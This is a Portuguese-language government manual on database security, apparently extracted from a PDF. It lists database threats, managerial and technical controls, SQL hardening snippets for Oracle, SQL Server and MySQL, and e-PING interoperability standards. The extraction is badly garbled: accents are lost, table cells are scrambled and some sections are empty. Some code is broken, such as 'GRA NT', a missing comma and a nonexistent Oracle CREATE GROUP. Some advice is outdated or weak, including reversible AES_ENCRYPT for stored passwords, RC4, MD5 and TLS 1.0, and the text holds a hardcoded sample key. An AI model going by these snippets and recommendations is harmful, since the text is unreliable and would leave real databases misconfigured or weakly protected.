Cdigo Ttulo Descrio Agregar informaes de diversas fontes com diferentes classificaes e tornar o resultado um documento noconfidencial. Assim a relevncia das informaes A 1 Agregao combinadas pode ser menor que a confidencialidade de cada informao de maneira separada. Esse tipo de manipulao pode expor involuntariamente informaes confidenciais. Quando o usurio tenta burlar os controles da aplicao de banco de dados para acessar uma informao. As vises do banco de dados limitam as informaes a A 3 Ataque de Viso de Banco de Dados serem exibidas para os usurios. Usurios mal intencionados podem alterar essas vises para mostrar informaes restritas. Quando aes ou processos ocorrem ao mesmo tempo, podendo gerar um bloqueio mtuo. Quando a integridade do dado alterada por entrada A 5 Contaminao de Dados errada de dados ou processo errneo. Pode ocorrer em arquivo, relatrio ou base de dados. Quando dois processos de usurio so bloqueados em A 6 Deadlocking objetos separados e um desses processos est tentando acessar o outro objeto que possui um processo bloqueado. A 7 Negao de Servio Modificao Imprpria da Informao Tornar o sistema indisponvel por meios fsicos ou lgicos. Alterao intencional ou acidental de informaes da base de dados. Quando um usurio deduz uma informao confidencial de A 9 Inferncia informaes disponveis, sem precisar de acesso no autorizado. Ocorre quando um usurio intercepta dados que trafegam pela rede, capturando informaes. Quando um usurio consegue, atravs de ferramentas de consultas, ganhar acesso indevido. x x x x x x C D I
Ataque por Bypass
Concorrncia
10 Interceptao de Dados
11
Ataque por Consulta (Query)
82

12
Tempo de Verificao/Tempo de Uso
Quando um usurio consegue, atravs de cdigo malicioso, alterar a informao ou a conexo, entre o tempo de verificao e o tempo de uso. Quando o banco de dados permite o acesso por meio de x x
13 Segurana Web
tecnologias Web, uma falha na integrao pode expor os SGBD. Quando um usurio no autorizado consegue o acesso a
14 Acesso no Autorizado
informaes restritas, de forma acidental ou intencional, fsica ou logicamente.

Tabela 3 - Ameaas a bases de dados.
3.2. Controles Gerenciais

Cdigo Categoria Descrio Ameaas endereadas
Documentar formalmente os procedimentos CG 1 Controle de Acesso relacionados autorizao e manuteno do acesso a vises da base de dados. Procedimentos formais devem ser desenvolvidos para efetuar alterao na base de dados. Garantir que a instalao do SGBD seja CG 3 Processo de Configurao e Suporte adequada para atender apenas a necessidade identificada. Recomendvel consultar guia oficial do SGBD. Avaliar a necessidade de atualizao do SGBD. Caso necessrio, realizar testes antes de aplicar no ambiente de produo. Revisar regularmente as funes CG 5 Processo de Configurao e Suporte desempenhadas pelos DBAs, donos de aplicaes e operadores de contas de usurios, e manter atualizados os perfis. Processo de Configurao e Suporte Garantir que todos os arquivos temporrios sejam removidos aps a instalao. Garantir que todas as regras e polticas estejam
A-1, A-3, A-9, A-13, A14
CG
Processo de Configurao e Suporte
A-1, A-3, A-5, A-7, A8, A-9, A-13, A-14
A-5, A-7, A-10, A-11
CG
A-6, A-8
A-2, A-8, A-14
CG
A-10, A-14
CG
Processo de Configurao
A-13, A-14
83

e Suporte
em conformidade. Manter o registro de log por tempo adequado. Seguir poltica de segurana institucional.
CG
Auditoria e Log de Sistema Recomendvel manter por no mnimo 14 dias e no mximo 21. Caso necessria a extenso do tempo, fazer backup. Controle de Rede e Ambiente Manter o servidor em local isolado e controlado, lgica e fisicamente. Garantir condies ambientais para a
A-10, A-14
CG
A-5, A-7, A-8, A-11, A13, A-14
CG
10
Controle de Rede e Ambiente
acomodao do servidor, com controles de qualidade do ar, combate a incndio, umidade e temperatura, dentre outros. Garantir que o servidor de banco de dados esteja segregado da rede principal e protegido por firewall. Testar as tarefas agendadas antes que a base de dados entre em produo. Testar a segurana do acesso fsico ao servidor.
A-7
CG
11
A-2, A-5, A-10, A-13, A-14
CG
12
Controle de Rede e Ambiente Controle de Rede e Ambiente
A-4, A-6, A-7, A-8
CG
13
A-7, A-14
CG
14
Deixar claras e documentadas todas as polticas adotadas e informar devidamente aos usurios, de acordo com seu nvel operacional.
Tabela 4 Controles gerenciais em bancos de dados.
Todas
84

3.3. Controles Tcnicos

Cdigo Categoria Descrio Ameaas endereadas
Certificar que regras de DBA no sejam CT 1 Conta de Usurio atribudas a usurios que no so administradores do banco de dados. Criar polticas e procedimentos para usurios do CT 2 Conta de Usurio tipo desenvolvedor. Restringir o acesso destas contas ao ambiente de produo. Estabelecer uma separao entre os ambientes de desenvolvimento, teste e produo. Desenvolver procedimentos para garantir, CT 4 Conta de Usurio restringir e rever o nvel de acesso de usurios base de produo e utilitrios. Criar conta temporria para funes limitadas, CT 5 Conta de Usurio como migrao e exportao, para desenvolvedor que requisitar acesso a base de produo. Verificar se a senha diferente em cada CT 6 Conta de Usurio instncia de banco de dados. Alterar caso sejam iguais. Configurar contas de sistemas para acesso a CT 7 Conta de Usurio diretrios do SGBD. Recomendvel seguir o guia de instalao de cada SGBD. Verificar se as senhas de contas administrativas foram trocadas. Trocar senhas e desabilitar contas de usurios CT 9 Controle de Acesso padro do SGBD.
A-2, A-3, A-5, A-7, A8, A-11, A-13, A-14
A-5, A-7, A-8, A-9, A11, A-13, A-14
CT
Conta de Usurio
A-2, A-4, A-5, A-7, A8, A-9, A-13, A-14
A-2, A-3, A-5, A-7, A8, A-11, A-14
A-5, A-8, A-9, A-14
A-2, A-3, A-5, A-7, A8, A-10, A-14
A-2, A-3, A-4, A-5, A8, A-11, A-13, A-14
CT
Controle de Acesso
A-2, A-7, A-8, A-11, A-13, A-14 A-2, A-3, A-5, A-7, A8, A-9, A-10, A-13, A14
Criar identificao (login) individual, ou seja, no CT 10 Controle de Acesso usar login compartilhado. Seguir padro institucional. CT 11 Controle de Acesso Criar senhas dentro do padro institucional. A-14 A-14
85

Criar um usurio para manipulao de esquemas CT 12 Controle de Acesso de aplicao sem privilgios de DBA. Limit-lo apenas aos processos de manipulao dos esquemas, o que inclui incluso e excluso. No SGBD Oracle, revisar e revogar os usurios CT 13 Controle de Acesso com privilgio BECOME USER, exceto os usurios que efetuem importao ou exportao. Impedir que usurios no autorizados faam uso de ferramentas de depurao. Certificar que no haja nenhuma poltica de exceo de acesso. Criar um grupo Help Desk com perfil especfico para resetar senha dos usurios. Proteger os parmetros de inicializao e CT 17 Controle de Acesso configurao do banco de dados. Apenas o proprietrio do banco poder ler e escrever os arquivos de configurao. Bloquear o acesso base de dados por CT 18 Controle de Acesso aplicaes no autorizadas. A-2, A-3, A-5, A-6, A7, A-8, A-10, A-11, A12, A-13, A-14 Criar perfil e regras especficas para usurios CT 19 Controle de Acesso com privilgios de alterar objetos da base de produo. Garantir que essas regras no sejam aplicadas a usurios no autorizados. Restringir o uso de aplicaes de suporte de CT 20 Controle de Acesso acordo com seu nvel de utilizao. A-2, A-3, A-5, A-6, A7, A-8, A-10, A-11, A12, A-13, A-14 Criar procedimento de validao de usurio a cada acesso que gere mudana de informao e CT 21 Controle de Acesso em consultas que exijam confidencialidade. Recomendvel para o nvel 2 e obrigatrio para os nveis 3 e 4 de segurana. Revisar os privilgios e garantir que sejam CT 22 Controle de Acesso atrelados apenas aos usurios devidamente autorizados. Todas A-12, A-14 Todas A-2, A-5, A-7, A-8, A9, A-10, A-13, A-14 A-2, A-3, A-5, A-7, A8, A-11, A-13, A-14
A-2, A-3, A-5, A-7, A8, A-9, A-13, A-14
CT
14 Controle de Acesso
A-2, A-3, A-11, A-13, A-14
CT
Todas
CT
A-13, A-14
86

Criar vises de segurana de dados e garantir CT 23 Controle de Acesso que apenas usurios autorizados tenham acesso. Documentar formalmente os procedimentos CT 24 Controle de Acesso relacionados autorizao e manuteno do acesso a vises da base de dados. Garantir que arquivos de log estejam armazenados em dispositivos localizados fisicamente fora do servidor de banco de dados. Garantir que apenas os usurios administradores CT 26 Processo de Configurao e Suporte do banco de dados tenham autorizao para realizar a reinicializao e o desligamento do servidor. Processo de Configurao e Suporte Desabilitar portas de comunicao no utilizadas do banco de dados. Garantir que as bases de teste e desenvolvimento no afetem a base de produo. Utilizar procedimentos ou cdigos externos CT 29 Processo de Configurao e Suporte apenas quando esta for a nica soluo vivel. Restringir o procedimento ou cdigo externo a usurios devidamente autorizados. Garantir que a rplica da base de dados seja feita e mantida em espaos fisicamente separados. Recomenda-se o uso de criptografia no trfego de dados pela rede. Utilizar funes de identificao nica evitando duplicidade de dados. Garantir que sejam efetuados os registros de log CT 33 Auditoria e Log de Sistema de backup e restaurao, e que sejam periodicamente revisados. Registrar e verificar periodicamente os logs de atividades de contas de aplicao. Registrar e verificar periodicamente os logs de Todas A-10, A-12, A-13, A14 A-7 Todas A-7, A-8, A-13, A-14 Todas A-1, A-3, A-14 A-3, A-14
CT
25
CT
27
Todas
CT
28
A-4, A-5, A-6, A-7, A8, A-13.
CT
30
CT
31
Processo de Configurao e Suporte Processo de Configurao e Suporte
CT
32
A-5, A-8, A-13
CT
34 Auditoria e Log de Sistema
Todas
CT
Todas
87

atividades de contas de sistema. Registrar e verificar periodicamente os logs de atividades dos administradores. Estabelecer sistema de correlao de logs
CT
Todas
CT
Todas
Tabela 5 Controles tcnicos em bancos de dados.
3.4. Controles Tcnicos com Implementaes 3.4.1. CI-1 Conta de Usurio

Diretivas: Estabelecer e desenvolver polticas de segurana, grupos e regras de acordo com cada tipo de usurio exigido pelo sistema.
Oracle:
1- Criar Grupo: CREATE GROUP <nome_do_grupo> 2- Criar Regra: CREATE ROLE <nome_da_regra> 3- Atribuir Privilgios: GRA NT <privilgio> ON <objeto> TO <usurio | grupo | regra> 4- Atribuir Regras: GRANT <regra> TO <usurio | grupo>
88

MS SQL Server:
MySQL:
89

3.4.2. CI-2 Conta de Usurio

Diretivas: Restringir login com mltiplas conexes.
Oracle:
CREATE PROFILE <nome_do_perfil> LIMIT SESSIONS_PER_USER 1; ALTER USER <usurio> PROFILE <nome_do_perfil>;
MS SQL Server:
CREATE TRIGGER CONNECTION_LIMIT_TRIGGER ON ALL SERVER WITH EXECUTE AS <login> FOR LOGON AS BEGIN IF ORIGINAL_LOGIN()= <login> AND (SELECT COUNT(*) FROM SYS.DM_EXEC_SESSIONS WHERE IS_USER_PROCESS = 1 AND ORIGINAL_LOGIN_NAME = <login>) > 1 ROLLBACK; END;
MySQL:
GRANT USAGE ON *.* TO <usurio>@<host> WITH MAX_USER_CONNECTIONS 1;
90


Diretivas: Registrar aes de usurios de grupos com permisses de insero, alterao e excluso de dados (geralmente os desenvolvedores) em logs.
Oracle:
O Oracle gera um log chamado alert.log e encontrado no diretrio: <ORACLE_HOME>/RDBMS/trace Este log registra alteraes no banco de dados, erros, inicializao do banco entre outros. Ver especificaes da fabricante para maiores informaes.
MS SQL Server:
Criar funes que registraro caso algum acesso seja feito: IF UPDATE(<nome_do_campo) BEGIN <executar comandos para registrar a ao em uma tabela de auditoria devidamente protegida> END OBS: Realizar verificao para UPDATE, INSERT e DELETE. Arquivos de LOG so encontrados geralmente em C:\Program Files\Microsoft SQL Server\MSSQL\LOG
MySQL:
Ativar o log no my.cnf: [mysqld] err-log = <diretrio>/mysql.err log = <diretrio>/mysql.log
91


Diretivas: Verificar e remover os privilgios dos grupos com a caracterstica de conceder heranas a usurios sem grupo explicitamente configurado.
Oracle:
Passo 1: Gerar um relatrio com os privilgios da conta PUBLIC SELECT * FROM SYS.DBA_TAB_PRIVS WHERE GRANTEE = 'PUBLIC' SELECT GRANTED_ROLE FROM SYS.DBA_ROLE_PRIVS WHERE GRANTEE = 'PUBLIC'; Passo 2: Revisar e remover os privilgios atrelados a conta PUBLIC EX: REVOKE SELECT ON <objeto> FROM PUBLIC; REVOKE EXECUTE ON <objeto> FROM PUBLIC;
MS SQL Server:
REVOKE <privilgio> ON <objeto> FROM PUBLIC
MySQL:
Passo 1: Verificar os privilgios do usurio: SHOW GRANTS FOR <usurio>@<host> Passo 2: Revogar os privilgios: REVOKE <privilgio> FROM <usurio>@<host>
92


Diretivas: Verificar na tabela de usurios se h campos de senha vazios. Caso estejam vazios, desativar as contas dos usurios at que os mesmos se disponham a criar uma senha.
Oracle:
Passo 1: Verificar se as contas possuem uma string criptografada no campo PASSWORD. SELECT USERNAME PASSWORD from DBA_USERS; Passo 2: Caso alguma conta estiver sem senha desativar a conta at que o usurio defina seja contatado para definir uma senha. ALTER USER <usurio> ACCOUNT LOCKED;
MS SQL Server:
Passo1: Verificar se as contas possuem uma string criptografada no campo PASSORD. SELECT NAME, PASSWORD FROM MASTER.DBO.SYSLOGINS Passo 2: Caso alguma conta estiver sem senha desativar a conta at que o usurio defina seja contatado para definir uma senha.
MySQL:
Passo1: Verificar se as contas possuem uma string criptografada no campo PASSORD. SELECT USER, PASSWORD, HOST FROM MYSQL.USER; Passo 2: Caso alguma conta estiver sem senha desativar a conta at que o usurio defina seja contatado para definir uma senha. Caso possvel, bloquear o usurio. No sendo possvel, revogar todos os privilgios do mesmo.
93


Diretivas: Impedir que usurios no autorizados realizem procedimentos atrelados a backup.
Oracle:
Ver especificaes da fabricante para maiores informaes.
MS SQL Server:
REVOKE BACKUP DATABASE FROM <usuario>
MySQL:
Ver especificaes da fabricante para maiores informaes.

Diretivas: Registrar em log todos os acessos base de produo.
Oracle:
MS SQL Server:
Criar funes que registraro caso algum acesso seja feito: IF UPDATE(<nome_do_campo) BEGIN <executar comandos para registrar a ao em uma tabela de auditoria devidamente protegida> END OBS: Realizar verificao para UPDATE, INSERT e DELETE.
94

Arquivos de LOG so encontrados geralmente em C:\Program Files\Microsoft SQL Server\MSSQL\LOG
MySQL:
Ativar o log no my.cnf: [mysqld] err-log = <diretrio>/mysql.err log = <diretrio>/mysql.log Ver especificaes da fabricante para maiores informaes..

Diretivas: Criar procedimento que desabilite o usurio com mais de 1 ms de inatividade de acesso ao banco de dados.
Oracle:
Criar uma tabela que armazene o login e a data de acesso do usurio. Criar um procedimento que armazene esses dados toda vez que o usurio se conectar. Criar um procedimento que leia a tabela criada e desabilite o login que tiver seu ultimo acesso maior que 1 ms.
MS SQL Server:
MySQL:
95


Diretivas: Garantir a segregao de responsabilidades dos usurios.
Processo Fsico/Operacional: Garantir que os usurios tenham regras restritas a suas funes e que eles no possam sair delas. Criar rotina de verificao de usurios.

Diretivas: Garantir que apenas o dono do esquema tenha o privilgio de criar gatilhos.
Oracle:
REVOKE CREATE TRIGGER FROM <usurio>; REVOKE CREATE ANY TRIGGER FROM <usurio>;
MS SQL Server:
No h exemplos disponveis para esta implementao.
MySQL:
3.4.11. CI-11 Processo de Configurao e Suporte

Diretivas: Garantir que senhas sejam armazenadas de forma criptografada, seguindo padres de segurana do mercado.
96

Oracle:
No h exemplos disponveis para esta implementao. Recomendvel o uso de certificados digitais ou algoritmos de "hash" que no ofeream coliso.
MS SQL Server:
set @pwd1 = 'senha*123' set @pwd2 = Convert(varbinary(100), pwdEncrypt(@pwd1)) Recomendvel o uso de certificados digitais ou algoritmos de "hash" que no ofeream coliso.
MySQL:
AES_ENCRYPT(string,string_chave) Recomendvel o uso de certificados digitais ou algoritmos de "hash" que no ofeream coliso.

Diretivas: Garantir que a transmisso de senhas entre cliente e servidor ocorra de maneira segura e criptografada.
Oracle:
Utilizar mecanismo "SSL" disponvel no manual do fabricante.
MS SQL Server:
MySQL:
97


Diretivas: Criar procedimentos para verificar e bloquear scripts que trafeguem com senha em puro texto.
Procedimento Fsico/Operacional: Verificar os scripts que trafegam pela rede. Certificar que no haja informaes de senha em puro texto.

Diretivas: Utilizar criptografia em tabelas ou colunas cujos dados exigem confidencialidade.
Oracle:
Para que funcione a criptografia da coluna, uma carteira(wallet) deve ser aberta: Passo 1: Criar o diretrio da carteira Oracle: $ORACLE_BASE/admin/<sid> Windows: %ORACLE_BASE%/admin/<sid> Passo 2: Entrar no sistema como sysdba e executar: ALTER SYSTEM SET ENCRYPTION KEY IDENTIFIED BY "<senha>"; OBS: A sentena acima a carteira com a senha <senha>. A senha case sensitive e deve ser cercada por aspas duplas. Passo 3: Criar a tabela coma coluna criptografada: CREATE TABLE TEST_USER ( USER_ID VARCHAR2(10), PASSWD VARCHAR2(30)ENCRYPT, CREATE_DATE_TIME DATE, MOD_DATE_TIME DATE );
98

OBS: Para impedir a viso do dado criptografado execute: ALTER SYSTEM SET ENCRYPTION WALLET CLOSE; Para visualizar o dado criptografado execute: ALTER SYSTEM SET ENCRYPTION WALLET OPEN AUTHENTICATED BY "<senha>";
MS SQL Server:
USE <base_de_dados>; GO Se no existir uma chave mestre, crie: IF NOT EXISTS (SELECT * FROM sys.symmetric_keys WHERE symmetric_key_id = 101) CREATE MASTER KEY ENCRYPTION BY PASSWORD = '23987hxJKL969#ghf0%94467GRkjg5k3fd117r$$#1946kcj$n44nhdlj' GO CREATE CERTIFICATE <nome_certificado> WITH SUBJECT = 'Employee Social Security Numbers'; GO CREATE SYMMETRIC KEY <nome_da_chave> WITH ALGORITHM = AES_256 ENCRYPTION BY CERTIFICATE <nome_certificado>; GO USE [<base_de_dados>]; GO Criar uma coluna na qual ser gravada o dado criptografado: ALTER TABLE <base_de_dados>.<tabela> ADD <coluna_criptografada> varbinary(128); GO Abrir a chave simtrica para criptografar o dado: OPEN SYMMETRIC <nome_da_chave>
99

DECRYPTION BY CERTIFICATE <nome_certificado>; Criptografar o valor da coluna <coluna> com a chave simtrica <nome_da_chave>. Salvar o resultado na coluna <coluna_criptografada>: UPDATE <base_de_dados>.<tabela> SET <coluna_criptografada> = EncryptByKey(Key_GUID('<nome_da_chave>'), <coluna>); GO
MySQL:
AES_ENCRYPT(string,string_chave) Utilizar campos binrios como o VARBINARY ou BLOB para armazenamento do contedo criptografado. Recomendvel o uso de certificados digitais ou algoritmos de "hash" que no ofeream coliso.

Diretivas: Garantir que contas de convidados (Guest Accounts) no existam.
Oracle:
ALTER USER <conta_convidado> ACCOUNT LOCK;
MS SQL Server:
USE <base_de_dados>; GO REVOKE CONNECT FROM GUEST
MySQL:
USE MYSQL; DELETE FROM USER WHERE USER=<conta_convidado>; DELETE FROM DB WHERE USER=<conta_convidado>; FLUSH PRIVILEGES;
100

Diretivas: Garantir que os acessos ocorram por meio de regras, no permitindo acesso direto ao banco de dados.
Oracle:
No h exemplos disponveis para esta implementao. Implementar modelo de controle de acesso baseado em regras (RBAC).
MS SQL Server:
No h exemplos disponveis para esta implementao. Implementar modelo de controle de acesso baseado em regras (RBAC)
MySQL:
No h exemplos disponveis para esta implementao. Implementar modelo de controle de acesso baseado em regras (RBAC)
3.4.17. CI-17 Auditoria e Log de Sistema

Diretivas: Registrar e verificar periodicamente os logs de falha de acesso a objetos da base de dados.
Oracle:
MS SQL Server:
Arquivos de LOG so encontrados geralmente em C:\Program Files\Microsoft SQL Server\MSSQL\LOG Ver especificaes da fabricante para maiores informaes.
MySQL:
101

Ativar o log no my.cnf: [mysqld] err-log = <diretrio>/mysql.err log = <diretrio>/mysql.log Ver especificaes da fabricante para maiores informaes.

Diretivas: Registrar e verificar periodicamente os logs de falha de conexo.
Oracle:
Passo 1: No arquivo LISTENER.ORA configurar os seguintes parmetros: TRACE_LEVEL_LISTENER=OFF TRACE_DIRECTORY_LISTENER= path ex. (../Oracle9i/network/trace) TRACE File_LISTENER=listener.trc LOG_DIRECTORY_LISTENER=path (ex. ../Oracle9i/network/log) LOG_FILE_LISTENER=listener.log Para prevenir a administrao no autorizada do Oracle Listener: Passo 1: Estabelecer uma senha segura para o Oracle Listener para prevenir a configurao remota do mesmo. Passo 2: Configurar no listener.ora (Arquivo de controle do Oracle Listener) o parmetro de configurao de segurana da seguinte forma: ADMIN_RESTRICTIONS_listener_name = ON Passo 3: No deixar a porta padro 1521 do Oracle Listener aberta no Firewall Passo 4: Manter o servidor de banco de dados atrs de um firewall.Keep the database server behind a firewall. Passo 5: Desenvolver um relattioque consulte o trinlho de auditoria para tentativas de conexo no autorizadas. Rever o relatrio periodicamente. <ORACLE_HOME>/RDBMS/trace Este log registra alteraes no banco de dados, erros, inicializao do banco entre outros. Ver especificaes da fabricante para maiores informaes.
102

MS SQL Server:
MySQL:

Diretivas: Implementar notificao de ataque de sistema.
Processo Fsico/Operacional: Procurar as melhores prticas de mercado para monitorar e alertar ataques nos servidores de banco de dados. Implementar um sistemas de deteco e preveno de intrusos (IDPS).
3.4.20. CI-20 Controle de Rede e Ambiente

Diretivas: Restringir conexo com o servidor atravs de mecanismos de identificao exclusiva, como endereo IP, chaves compartilhadas (IPSEC) ou certificados digitais.
Oracle:
Configurar os parmetros no arquivo <ORACLE_HOME>/Network/admin/protocol.ora: Tcp.validatenode_checking=YES Tcp.invited_nodes=<faixa de IPs> Tcp.excluded_nodes=<faixa de IPs>;
103

MS SQL Server:
Criar um gatilho que verifica quem est conectando: CREATE TRIGGER <nome_do_gatilho> ON ALL SERVER WITH EXECUTE AS 'sa' FOR LOGON AS BEGIN DECLARE @ClientHost nvarchar(max); SELECT @ClientHost = EVENTDATA().value('(/EVENT_INSTANCE/ClientHost)[1]','nvarchar(max)'); -- ClientHost gives IP except if the connecting to SQL Server from instance machine. -- Do NOT put '<local machine>' in this otherwise you will block client access from instance machine. IF @ClientHost IN ('10.0.2.53' ,'10.0.2.54' ,'10.0.2.55' ,'10.0.2.56') ROLLBACK; END;
MySQL:
104

3.4.21. CI-21 Testar a execuo e restaurao de backup

Diretivas: Testar a execuo e a restaurao de backups antes da promoo para a produo.
Oracle:
No h exemplos disponveis para esta implementao. Recomendvel a utilizao de aplicativos de gerenciamento de banco de dados da prpria empresa.
MS SQL Server:
Recomendvel a utilizao de aplicativos de gerenciamento de banco de dados da prpria empresa. Passo 1: Criando um backup. Por padro, o backup criado do tipo FULL(completa): USE <base_de_dados>; BACKUP DATABASE <base_de_dados> TO DISK='<diretrio>/<nome_do_arquivo>.BAK' Passo 2: Restaurando a base de dados: ALTER DATABASE <base_de_dados> SET SINGLE_USER WITH ROLLBACK IMMEDIATE RESTORE DATABASE [AdventureWorks] FROM DISK = N'C:\BackupTSQL.bak' WITH FILE = 1, NOUNLOAD, REPLACE, STATS = 10 GO ALTER DATABASE <base_de_dados> SET MULTI_USER WITH ROLLBACK IMMEDIATE
MySQL:
No h exemplos disponveis para esta implementao. Recomendvel a utilizao de aplicativos de gerenciamento de banco de dados da prpria empresa.
105

4. Interoperabilidade de Sistemas (e-Ping)

4.1. Caractersticas
O e-PING (Padres de Interoperabilidade de Governo Eletrnico) um documento do Governo Federal que regulamenta a utilizao da Tecnologia de Informao e Comunicao na Interoperabilidade de Servios de Governo Eletrnico. Este possui um conjunto de premissas, polticas e especificaes tcnicas que determinam aspectos tcnicos e de infra-estrutura necessrios para garantir a segurana e a acessibilidade dos sistemas e dos usurios. O e-PING est segmentado em cinco reas: Interconexo; Segurana; Meios de Acesso; Organizao e Intercmbio de Informaes; reas de Integrao para Governo Eletrnico.
Para cada segmento foram especificados componentes para os quais so estabelecidos padres. O presente manual abordar os padres de classificao A (Adotado) e R (Recomendado), referenciados no e-PING, onde todos os adotados sero obrigatrios em todos os nveis de segurana. importante lembrar que o e-PING atualizado periodicamente, assim recomendase o acompanhamento do documento que se encontra em:
http://www.eping.e.gov.br. 4.2. Interconexo
4.2.1. Polticas Tcnicas Toda interconexo dever ocorrer utilizando IPv4 e ter suporte ao IPv6; Sistemas de e-mail devero utilizar SMTP/MIME para o transporte de mensagem. Utilizar os protocolos POP3 e/ou IMAP;
106

Deve ser obedecida a poltica de definio de nomes de usurio do governo federal;
O DNS dever ser utilizado para resoluo de nomes de domnio da Internet, convertendo-os em endereos IP e, inversamente, convertendo IPs em nomes de domnios, atravs da manuteno dos mapas direto e reverso, respectivamente;
Os protocolos FTP e HTTP devero ser utilizados na transferncia de arquivos. O HTTP dever ser priorizado para transferncias de arquivos de origem de pginas de stios da internet;
Sempre que possvel utilizar tecnologia web em aplicaes que utilizaram emulao de terminal anteriormente;
recomendada a tecnologia de web services como soluo de interoperabilidade da e-PING. Recomenda-se o uso do protocolo SOAP para interconexo de arquiteturas descentralizadas e/ou distribudas.
107

4.2.2. Especificaes Tcnicas 4.2.2.1.

Cdigo
Mensageria (IM)
Componente Especificao Os nomes das caixas postais de correio eletrnico devero seguir o padro do governo federal (encontrado em http://www.e.gov.br/correios/cp_individ.htm) e, caso o padro institucional seja mais rigoroso, utilizar este. Endereo de caixa postal eletrnica Exemplo: um funcionrio de nome Joaquim Jos da Silva Xavier dever ter o nome de caixa postal formado por prenome e sobrenome, separados por pontos: joaquim.xavier Em caso de homnimos, devero ser utilizadas as iniciais dos nomes intermedirios, como: joaquim.j.xavier, ou joaquim.js.xavier. No podero ser utilizados acentos. Utilizar produtos de mensageria eletrnica que suportam interfaces em conformidade com SMTP/MIME. O uso de programas de correio eletrnico dever ser 2a4 Todos Nvel
IM
IM
Transporte de mensagem eletrnica
IM
Acesso caixa postal
permitido somente em caso de necessidade e quando no houver restries de segurana. Utilizar o modelo de requisitos para o protocolo XMPP definidos pela RFCs 3920 e 3921 O servio de mensagens curtas (SMS) dever utilizar o protocolo SMPP. Especificaes do protocolo em: http://www.smsforum.net/
Tabela 6 Especificaes tcnicas (Mensageria).
2a4
IM
Mensageria em tempo real
2a4
IM
Servio de mensagens curtas (SMS)
2a4
108

4.2.2.2.
Cdigo
Infra-estrutura de Rede (IR)

Componente Especificao Utilizar TCP (RFC 793). Nvel Todos
IR
Transporte
Utilizar UDP (768) somente em caso de extrema necessidade.
Todos
IR
Intercomunicao LAN/WAN
Utilizar IPv4 (RFC 791). Caso seja necessria a otimizao do trfego de rede
Todos
IR
Trfego Avanado
utilizar o MPLS (RFC 3031), contendo, no mnimo, quatro classes de servio. IEEE 802.11 b/g em conformidade as determinaes
Todos
IR
Rede local sem fio
do WI-FI Alliance (http://www.wi.fi.org), com sistemas homologados pela Anatel (http://www.anatel.gov.br).
2a4
Tabela 7 Especificaes tcnicas (Infra-estrutura de rede).
109

4.2.2.3.
Cdigo
Servios de Rede (ISR)

Componente Protocolo de transferncia de hipertexto Especificao Nvel
SR
Utilizar o HTTP/1.1 (RFC 2616).
Todos
SR
Protocolos de transferncia de arquivos
Utilizar o protocolo FTP com re-inicializao e recuperao (RFCs 959 e 2228). Utilizar o protocolo HTTP (RFC 2616). O uso do LDAP v3 dever ocorrer para acesso geral ao diretrio em conformidade com a RFC 4510. Utilizar NTP verso 3.0 (RFC 1305) e/ou SNTP verso 4.0 (RFC 4330).Dever haver sincronia com a hora 2a4
ISR
Diretrio
Todos
ISR
Sincronismo de tempo
oficial do Brasil, fornecida pelo Observatrio Nacional, sendo includas as diferenas de fuso horrio, quando aplicveis. O DNS deve ser utilizado para resolver nomes de domnios na Internet (RFC 1035)
2a4
ISR
Servios de nomeao de domnio
Seguir as diretivas de nomeao de domnio do Governo Federal (http://www.governoeletronico.gov.br/ogov.br/biblioteca/arquivos/resolucao-no-07-de-29-dejulho-de-2002). Utilizar Protocolo de Inicializao de Sesso (SIP Todos
ISR
Protocolos de sinalizao
RFC 3261) para controle, na camada de aplicao, de sesses com um ou mais participantes.
2a4
ISR
Protocolos de gerenciamento de redes Protocolo de troca de
Usar protocolo SNMP verso 3 (RFCs 3411 e 3418).
2a4
ISR
informaes estruturadas em plataformas descentralizadas e/ou distribudas
Utilizar protocolo SOAP v1.2 http://www.w3.org/TR/soap12-part0/
Todos
Tabela 8 Especificaes tcnicas (Servios de rede).
110

4.3.
Segurana
4.3.1. Polticas Tcnicas Dados e informaes devero ser protegidos de forma a mitigar os riscos e garantir a integridade, confidencialidade, disponibilidade e autenticidade; Independente de local, processamento ou armazenamento em que os dados estejam, devero ser mantidos com o mesmo nvel de proteo definido originalmente; Informaes sensveis devero trafegar de forma criptografada conforme os componentes de segurana especificados neste documento; A segurana dever ser tratada de forma preventiva. Para sistemas crticos devero ser elaborados planos de continuidade; A segurana um processo que dever estar inserido em todas as fases do ciclo de vida de desenvolvimento de sistemas; Os sistemas devero possuir registros histricos (logs) para permitir auditoria e provas materiais. imprescindvel a adoo de um sistema de sincronismo de tempo centralizado, mecanismos que garantam
autenticidade dos registros, recomendvel a utilizao de assinatura digital; Servios de segurana de XML devero estar em conformidade com a W3C; O uso de criptografia e certificados digitais dever estar em conformidade com a ICP-Brasil; Manter documentao dos sistemas atualizada e protegida com seu devido grau de sigilo; Mais requerimentos devero ser observados de acordo com o nvel de segurana estipulado para a aplicao no captulo 3 deste manual.
111


Cdigo
Comunicao de Dados (CD)

Componente Especificao Utilizar TLS (RFC 2246). Caso necessrio o protocolo TSL v1 pode emular o SSL v3. Utilizar HTTP sobre TSL (RFC 2818) podendo implementar os seguintes algoritmos criptogrficos: Nvel
- Troca de chave durante de sesso durante o Transferncia de dados em CD 1 redes inseguras pelos protocolos HTTP, LDAP, IMAP, POP3, Telnet handshake: RSA, Diffie-Hellman RSA, Diffie-Hellman DSS; 2a4 - Definio de chave de criptografia: RC4, IDEA, 3DES e AES;
- Implementao da funo hash para definio do MAC: SHA-256 ou SHA-512;
- Certificado Digital: X.509 v3 - ICP-Brasil (http://www.iti.gov.br), SASL (RFC 4422). Utilizar IPSec (RFCs 4303 e 4835) para autenticao de cabealho de IP. CD 2 Segurana de redes IPv4 Utilizar IKE (RFC 4306) sempre que necessrio a negociao da associao de segurana entre duas entidades para troca de material de chaveamento. Em caso de VPN utilizar o ESP (RFC 4303). Segurana de redes IPv4 para protocolos de aplicao Segurana de redes IPv6 na camada de rede Para segurana de mensagens gerais de governo o S/MIME (RFC 2633) dever ser utilizado. Utilizar mecanismos de segurana nativos do IPv6 (RFC 2460): AH (RFC 4302) e ESP (RFC 4303). Todos
CD
Todos
CD
2a4
Tabela 9 Especificaes tcnicas (Comunicao de dados).
112

4.3.2.2.
Cdigo SC 1
Criptografia (SC)
Componente Algoritmo de criptografia Especificao Utilizar 3DES ou AES. Utilizar SHA-256 ou SHA-512 Nvel Todos
SC
Algoritmo para assinatura/hashing
Os sistemas devem ter suporte para o algoritmo de hash MD5 com RSA, para garantir compatibilidades com implementaes anteriores.
Todos
